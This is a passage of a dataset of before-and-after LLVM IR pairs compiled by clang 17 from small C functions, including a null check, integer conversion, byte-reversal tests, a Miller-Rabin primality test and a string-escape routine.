!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpvgp29xoe.c'
source_filename = "/tmp/tmpvgp29xoe.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @isEmpty(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%3 = load ptr, ptr %2, align 8
%4 = icmp eq ptr %3, null
%5 = zext i1 %4 to i64
%6 = select i1 %4, i32 1, i32 0
ret i32 %6
}
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpvgp29xoe.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @isEmpty(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
store ptr %0, ptr %2, align 8
%3 = load ptr, ptr %2, align 8
%4 = icmp eq ptr %3, null
%5 = zext i1 %4 to i64
%6 = select i1 %4, i32 1, i32 0
ret i32 %6
}
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp50s16cjz.c'
source_filename = "/tmp/tmp50s16cjz.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @int32tob(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca ptr, align 8
store i32 %0, ptr %3, align 4
store ptr %1, ptr %4, align 8
%5 = load i32, ptr %3, align 4
%6 = load ptr, ptr %4, align 8
%7 = call ptr @itob(i32 noundef %5, i32 noundef 32, ptr noundef %6)
ret ptr %7
}
declare ptr @itob(i32 noundef, i32 noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp50s16cjz.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @int32tob(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca ptr, align 8
store i32 %0, ptr %3, align 4
store ptr %1, ptr %4, align 8
%5 = load i32, ptr %3, align 4
%6 = load ptr, ptr %4, align 8
%7 = call ptr @itob(i32 noundef %5, i32 noundef 32, ptr noundef %6)
ret ptr %7
}
declare ptr @itob(i32 noundef, i32 noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp5mvw3ih3.c'
source_filename = "/tmp/tmp5mvw3ih3.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca i32, align 4
%3 = alloca i64, align 8
store i32 0, ptr %1, align 4
store i32 305419896, ptr %2, align 4
store i64 1311768467463790320, ptr %3, align 8
%4 = load i32, ptr %2, align 4
%5 = call i32 @Reverse1(i32 noundef %4)
%6 = icmp ne i32 %5, 2018915346
br i1 %6, label %7, label %9
7: ; preds = %0
%8 = call i32 (...) @abort() #3
unreachable
9: ; preds = %0
%10 = load i32, ptr %2, align 4
%11 = call i32 @Reverse2(i32 noundef %10)
%12 = icmp ne i32 %11, 2018915346
br i1 %12, label %13, label %15
13: ; preds = %9
%14 = call i32 (...) @abort() #3
unreachable
15: ; preds = %9
%16 = load i32, ptr %2, align 4
%17 = call i32 @Reverse3(i32 noundef %16)
%18 = icmp ne i32 %17, 2018915346
br i1 %18, label %19, label %21
19: ; preds = %15
%20 = call i32 (...) @abort() #3
unreachable
21: ; preds = %15
%22 = load i64, ptr %3, align 8
%23 = call i32 @llReverse1(i64 noundef %22)
%24 = sext i32 %23 to i64
%25 = icmp ne i64 %24, -1090226688147180526
br i1 %25, label %26, label %28
26: ; preds = %21
%27 = call i32 (...) @abort() #3
unreachable
28: ; preds = %21
%29 = load i64, ptr %3, align 8
%30 = call i32 @llReverse2(i64 noundef %29)
%31 = sext i32 %30 to i64
%32 = icmp ne i64 %31, -1090226688147180526
br i1 %32, label %33, label %35
33: ; preds = %28
%34 = call i32 (...) @abort() #3
unreachable
35: ; preds = %28
%36 = load i64, ptr %3, align 8
%37 = call i32 @llReverse3(i64 noundef %36)
%38 = sext i32 %37 to i64
%39 = icmp ne i64 %38, -1090226688147180526
br i1 %39, label %40, label %42
40: ; preds = %35
%41 = call i32 (...) @abort() #3
unreachable
42: ; preds = %35
ret i32 0
}
declare i32 @Reverse1(i32 noundef) #1
; Function Attrs: noreturn
declare i32 @abort(...) #2
declare i32 @Reverse2(i32 noundef) #1
declare i32 @Reverse3(i32 noundef) #1
declare i32 @llReverse1(i64 noundef) #1
declare i32 @llReverse2(i64 noundef) #1
declare i32 @llReverse3(i64 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp5mvw3ih3.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca i32, align 4
%3 = alloca i64, align 8
store i32 0, ptr %1, align 4
store i32 305419896, ptr %2, align 4
store i64 1311768467463790320, ptr %3, align 8
%4 = load i32, ptr %2, align 4
%5 = call i32 @Reverse1(i32 noundef %4)
%6 = icmp ne i32 %5, 2018915346
br i1 %6, label %7, label %9
7: ; preds = %0
%8 = call i32 (...) @abort() #3
unreachable
9: ; preds = %0
%10 = load i32, ptr %2, align 4
%11 = call i32 @Reverse2(i32 noundef %10)
%12 = icmp ne i32 %11, 2018915346
br i1 %12, label %13, label %15
13: ; preds = %9
%14 = call i32 (...) @abort() #3
unreachable
15: ; preds = %9
%16 = load i32, ptr %2, align 4
%17 = call i32 @Reverse3(i32 noundef %16)
%18 = icmp ne i32 %17, 2018915346
br i1 %18, label %19, label %21
19: ; preds = %15
%20 = call i32 (...) @abort() #3
unreachable
21: ; preds = %15
%22 = load i64, ptr %3, align 8
%23 = call i32 @llReverse1(i64 noundef %22)
%24 = sext i32 %23 to i64
%25 = icmp ne i64 %24, -1090226688147180526
br i1 %25, label %26, label %28
26: ; preds = %21
%27 = call i32 (...) @abort() #3
unreachable
28: ; preds = %21
%29 = load i64, ptr %3, align 8
%30 = call i32 @llReverse2(i64 noundef %29)
%31 = sext i32 %30 to i64
%32 = icmp ne i64 %31, -1090226688147180526
br i1 %32, label %33, label %35
33: ; preds = %28
%34 = call i32 (...) @abort() #3
unreachable
35: ; preds = %28
%36 = load i64, ptr %3, align 8
%37 = call i32 @llReverse3(i64 noundef %36)
%38 = sext i32 %37 to i64
%39 = icmp ne i64 %38, -1090226688147180526
br i1 %39, label %40, label %42
40: ; preds = %35
%41 = call i32 (...) @abort() #3
unreachable
42: ; preds = %35
ret i32 0
}
declare i32 @Reverse1(i32 noundef) #1
; Function Attrs: noreturn
declare i32 @abort(...) #2
declare i32 @Reverse2(i32 noundef) #1
declare i32 @Reverse3(i32 noundef) #1
declare i32 @llReverse1(i64 noundef) #1
declare i32 @llReverse2(i64 noundef) #1
declare i32 @llReverse3(i64 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { noreturn "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #3 = { noreturn }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmprzlsjz1o.c'
source_filename = "/tmp/tmprzlsjz1o.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @is_probably_prime(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca i32, align 4
%7 = alloca i32, align 4
%8 = alloca i32, align 4
%9 = alloca i32, align 4
%10 = alloca i32, align 4
%11 = alloca i32, align 4
%12 = alloca i32, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
store i32 0, ptr %6, align 4
%13 = load i32, ptr %4, align 4
%14 = sub nsw i32 %13, 1
store i32 %14, ptr %7, align 4
br label %15
15: ; preds = %19, %2
%16 = load i32, ptr %7, align 4
%17 = srem i32 %16, 2
%18 = icmp eq i32 %17, 0
br i1 %18, label %19, label %24
19: ; preds = %15
%20 = load i32, ptr %7, align 4
%21 = sdiv i32 %20, 2
store i32 %21, ptr %7, align 4
%22 = load i32, ptr %6, align 4
%23 = add nsw i32 %22, 1
store i32 %23, ptr %6, align 4
br label %15, !llvm.loop !6
24: ; preds = %15
%25 = load ptr, ptr %5, align 8
%26 = call i32 @random_r(ptr noundef %25, ptr noundef %8)
%27 = load ptr, ptr %5, align 8
%28 = call i32 @random_r(ptr noundef %27, ptr noundef %9)
%29 = load i32, ptr %9, align 4
%30 = shl i32 %29, 32
%31 = load i32, ptr %8, align 4
%32 = or i32 %30, %31
store i32 %32, ptr %10, align 4
%33 = load i32, ptr %10, align 4
%34 = load i32, ptr %4, align 4
%35 = sub nsw i32 %34, 3
%36 = srem i32 %33, %35
%37 = add nsw i32 %36, 2
%38 = load i32, ptr %7, align 4
%39 = load i32, ptr %4, align 4
%40 = call i32 @modular_exponentiation(i32 noundef %37, i32 noundef %38, i32 noundef %39)
store i32 %40, ptr %11, align 4
%41 = load i32, ptr %11, align 4
%42 = icmp eq i32 %41, 1
br i1 %42, label %48, label %43
43: ; preds = %24
%44 = load i32, ptr %11, align 4
%45 = load i32, ptr %4, align 4
%46 = sub nsw i32 %45, 1
%47 = icmp eq i32 %44, %46
br i1 %47, label %48, label %49
48: ; preds = %43, %24
store i32 1, ptr %3, align 4
br label %75
49: ; preds = %43
store i32 0, ptr %12, align 4
br label %50
50: ; preds = %71, %49
%51 = load i32, ptr %12, align 4
%52 = load i32, ptr %6, align 4
%53 = sub nsw i32 %52, 1
%54 = icmp slt i32 %51, %53
br i1 %54, label %55, label %74
55: ; preds = %50
%56 = load i32, ptr %11, align 4
%57 = load i32, ptr %11, align 4
%58 = load i32, ptr %4, align 4
%59 = call i32 @modular_multiplication(i32 noundef %56, i32 noundef %57, i32 noundef %58)
store i32 %59, ptr %11, align 4
%60 = load i32, ptr %11, align 4
%61 = icmp eq i32 %60, 1
br i1 %61, label %62, label %63
62: ; preds = %55
store i32 0, ptr %3, align 4
br label %75
63: ; preds = %55
%64 = load i32, ptr %11, align 4
%65 = load i32, ptr %4, align 4
%66 = sub nsw i32 %65, 1
%67 = icmp eq i32 %64, %66
br i1 %67, label %68, label %69
68: ; preds = %63
store i32 1, ptr %3, align 4
br label %75
69: ; preds = %63
br label %70
70: ; preds = %69
br label %71
71: ; preds = %70
%72 = load i32, ptr %12, align 4
%73 = add nsw i32 %72, 1
store i32 %73, ptr %12, align 4
br label %50, !llvm.loop !8
74: ; preds = %50
store i32 0, ptr %3, align 4
br label %75
75: ; preds = %74, %68, %62, %48
%76 = load i32, ptr %3, align 4
ret i32 %76
}
declare i32 @random_r(ptr noundef, ptr noundef) #1
declare i32 @modular_exponentiation(i32 noundef, i32 noundef, i32 noundef) #1
declare i32 @modular_multiplication(i32 noundef, i32 noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmprzlsjz1o.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @is_probably_prime(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca i32, align 4
%7 = alloca i32, align 4
%8 = alloca i32, align 4
%9 = alloca i32, align 4
%10 = alloca i32, align 4
%11 = alloca i32, align 4
%12 = alloca i32, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
store i32 0, ptr %6, align 4
%13 = load i32, ptr %4, align 4
%14 = sub nsw i32 %13, 1
store i32 %14, ptr %7, align 4
%15 = load i32, ptr %7, align 4
%16 = srem i32 %15, 2
%17 = icmp eq i32 %16, 0
br i1 %17, label %.lr.ph, label %26
.lr.ph: ; preds = %2
br label %18
18: ; preds = %.lr.ph, %18
%19 = load i32, ptr %7, align 4
%20 = sdiv i32 %19, 2
store i32 %20, ptr %7, align 4
%21 = load i32, ptr %6, align 4
%22 = add nsw i32 %21, 1
store i32 %22, ptr %6, align 4
%23 = load i32, ptr %7, align 4
%24 = srem i32 %23, 2
%25 = icmp eq i32 %24, 0
br i1 %25, label %18, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %18
br label %26
26: ; preds = %._crit_edge, %2
%27 = load ptr, ptr %5, align 8
%28 = call i32 @random_r(ptr noundef %27, ptr noundef %8)
%29 = load ptr, ptr %5, align 8
%30 = call i32 @random_r(ptr noundef %29, ptr noundef %9)
%31 = load i32, ptr %9, align 4
%32 = shl i32 %31, 32
%33 = load i32, ptr %8, align 4
%34 = or i32 %32, %33
store i32 %34, ptr %10, align 4
%35 = load i32, ptr %10, align 4
%36 = load i32, ptr %4, align 4
%37 = sub nsw i32 %36, 3
%38 = srem i32 %35, %37
%39 = add nsw i32 %38, 2
%40 = load i32, ptr %7, align 4
%41 = load i32, ptr %4, align 4
%42 = call i32 @modular_exponentiation(i32 noundef %39, i32 noundef %40, i32 noundef %41)
store i32 %42, ptr %11, align 4
%43 = load i32, ptr %11, align 4
%44 = icmp eq i32 %43, 1
br i1 %44, label %50, label %45
45: ; preds = %26
%46 = load i32, ptr %11, align 4
%47 = load i32, ptr %4, align 4
%48 = sub nsw i32 %47, 1
%49 = icmp eq i32 %46, %48
br i1 %49, label %50, label %51
50: ; preds = %45, %26
store i32 1, ptr %3, align 4
br label %80
51: ; preds = %45
store i32 0, ptr %12, align 4
%52 = load i32, ptr %12, align 4
%53 = load i32, ptr %6, align 4
%54 = sub nsw i32 %53, 1
%55 = icmp slt i32 %52, %54
br i1 %55, label %.lr.ph2, label %79
.lr.ph2: ; preds = %51
br label %56
56: ; preds = %.lr.ph2, %72
%57 = load i32, ptr %11, align 4
%58 = load i32, ptr %11, align 4
%59 = load i32, ptr %4, align 4
%60 = call i32 @modular_multiplication(i32 noundef %57, i32 noundef %58, i32 noundef %59)
store i32 %60, ptr %11, align 4
%61 = load i32, ptr %11, align 4
%62 = icmp eq i32 %61, 1
br i1 %62, label %63, label %64
63: ; preds = %56
store i32 0, ptr %3, align 4
br label %80
64: ; preds = %56
%65 = load i32, ptr %11, align 4
%66 = load i32, ptr %4, align 4
%67 = sub nsw i32 %66, 1
%68 = icmp eq i32 %65, %67
br i1 %68, label %69, label %70
69: ; preds = %64
store i32 1, ptr %3, align 4
br label %80
70: ; preds = %64
br label %71
71: ; preds = %70
br label %72
72: ; preds = %71
%73 = load i32, ptr %12, align 4
%74 = add nsw i32 %73, 1
store i32 %74, ptr %12, align 4
%75 = load i32, ptr %12, align 4
%76 = load i32, ptr %6, align 4
%77 = sub nsw i32 %76, 1
%78 = icmp slt i32 %75, %77
br i1 %78, label %56, label %._crit_edge3, !llvm.loop !8
._crit_edge3: ; preds = %72
br label %79
79: ; preds = %._crit_edge3, %51
store i32 0, ptr %3, align 4
br label %80
80: ; preds = %79, %69, %63, %50
%81 = load i32, ptr %3, align 4
ret i32 %81
}
declare i32 @random_r(ptr noundef, ptr noundef) #1
declare i32 @modular_exponentiation(i32 noundef, i32 noundef, i32 noundef) #1
declare i32 @modular_multiplication(i32 noundef, i32 noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
|
; ModuleID = '/tmp/tmpy0y90s9t.c'
source_filename = "/tmp/tmpy0y90s9t.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [3 x i8] c"%c\00", align 1
@.str.1 = private unnamed_addr constant [2 x i8] c"\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @escape(ptr noundef %0, ptr noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca ptr, align 8
%5 = alloca i32, align 4
%6 = alloca i32, align 4
store ptr %0, ptr %3, align 8
store ptr %1, ptr %4, align 8
store i32 0, ptr %5, align 4
store i32 0, ptr %6, align 4
br label %7
7: ; preds = %53, %2
%8 = load ptr, ptr %4, align 8
%9 = load i32, ptr %6, align 4
%10 = sext i32 %9 to i64
%11 = getelementptr inbounds i8, ptr %8, i64 %10
%12 = load i8, ptr %11, align 1
%13 = sext i8 %12 to i32
%14 = icmp ne i32 %13, 0
br i1 %14, label %15, label %58
15: ; preds = %7
%16 = load ptr, ptr %4, align 8
%17 = load i32, ptr %6, align 4
%18 = sext i32 %17 to i64
%19 = getelementptr inbounds i8, ptr %16, i64 %18
%20 = load i8, ptr %19, align 1
%21 = sext i8 %20 to i32
switch i32 %21, label %42 [
i32 10, label %22
i32 9, label %32
]
22: ; preds = %15
%23 = load ptr, ptr %3, align 8
%24 = load i32, ptr %5, align 4
%25 = add nsw i32 %24, 1
store i32 %25, ptr %5, align 4
%26 = sext i32 %24 to i64
%27 = getelementptr inbounds i8, ptr %23, i64 %26
store i8 92, ptr %27, align 1
%28 = load ptr, ptr %3, align 8
%29 = load i32, ptr %5, align 4
%30 = sext i32 %29 to i64
%31 = getelementptr inbounds i8, ptr %28, i64 %30
store i8 110, ptr %31, align 1
br label %52
32: ; preds = %15
%33 = load ptr, ptr %3, align 8
%34 = load i32, ptr %5, align 4
%35 = add nsw i32 %34, 1
store i32 %35, ptr %5, align 4
%36 = sext i32 %34 to i64
%37 = getelementptr inbounds i8, ptr %33, i64 %36
store i8 92, ptr %37, align 1
%38 = load ptr, ptr %3, align 8
%39 = load i32, ptr %5, align 4
%40 = sext i32 %39 to i64
%41 = getelementptr inbounds i8, ptr %38, i64 %40
store i8 116, ptr %41, align 1
br label %52
42: ; preds = %15
%43 = load ptr, ptr %4, align 8
%44 = load i32, ptr %6, align 4
%45 = sext i32 %44 to i64
%46 = getelementptr inbounds i8, ptr %43, i64 %45
%47 = load i8, ptr %46, align 1
%48 = load ptr, ptr %3, align 8
%49 = load i32, ptr %5, align 4
%50 = sext i32 %49 to i64
%51 = getelementptr inbounds i8, ptr %48, i64 %50
store i8 %47, ptr %51, align 1
br label %52
52: ; preds = %42, %32, %22
br label %53
53: ; preds = %52
%54 = load i32, ptr %5, align 4
%55 = add nsw i32 %54, 1
store i32 %55, ptr %5, align 4
%56 = load i32, ptr %6, align 4
%57 = add nsw i32 %56, 1
store i32 %57, ptr %6, align 4
br label %7, !llvm.loop !6
58: ; preds = %7
%59 = load ptr, ptr %4, align 8
%60 = load i32, ptr %6, align 4
%61 = sext i32 %60 to i64
%62 = getelementptr inbounds i8, ptr %59, i64 %61
%63 = load i8, ptr %62, align 1
%64 = sext i8 %63 to i32
%65 = icmp eq i32 %64, 0
br i1 %65, label %66, label %71
66: ; preds = %58
%67 = load ptr, ptr %3, align 8
%68 = load i32, ptr %5, align 4
%69 = sext i32 %68 to i64
%70 = getelementptr inbounds i8, ptr %67, i64 %69
store i8 0, ptr %70, align 1
br label %71
71: ; preds = %66, %58
store i32 0, ptr %5, align 4
br label %72
72: ; preds = %88, %71
%73 = load ptr, ptr %3, align 8
%74 = load i32, ptr %5, align 4
%75 = sext i32 %74 to i64
%76 = getelementptr inbounds i8, ptr %73, i64 %75
%77 = load i8, ptr %76, align 1
%78 = sext i8 %77 to i32
%79 = icmp ne i32 %78, 0
br i1 %79, label %80, label %91
80: ; preds = %72
%81 = load ptr, ptr %3, align 8
%82 = load i32, ptr %5, align 4
%83 = sext i32 %82 to i64
%84 = getelementptr inbounds i8, ptr %81, i64 %83
%85 = load i8, ptr %84, align 1
%86 = sext i8 %85 to i32
%87 = call i32 (ptr, ...) @printf(ptr noundef @.str, i32 noundef %86)
br label %88
88: ; preds = %80
%89 = load i32, ptr %5, align 4
%90 = add nsw i32 %89, 1
store i32 %90, ptr %5, align 4
br label %72, !llvm.loop !8
91: ; preds = %72
%92 = load ptr, ptr %3, align 8
%93 = load i32, ptr %5, align 4
%94 = sext i32 %93 to i64
%95 = getelementptr inbounds i8, ptr %92, i64 %94
%96 = load i8, ptr %95, align 1
%97 = sext i8 %96 to i32
%98 = icmp eq i32 %97, 0
br i1 %98, label %99, label %101
99: ; preds = %91
%100 = call i32 (ptr, ...) @printf(ptr noundef @.str.1)
br label %101
101: ; preds = %99, %91
ret void
}
declare i32 @printf(ptr noundef, ...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpy0y90s9t.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [3 x i8] c"%c\00", align 1
@.str.1 = private unnamed_addr constant [2 x i8] c"\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @escape(ptr noundef %0, ptr noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca ptr, align 8
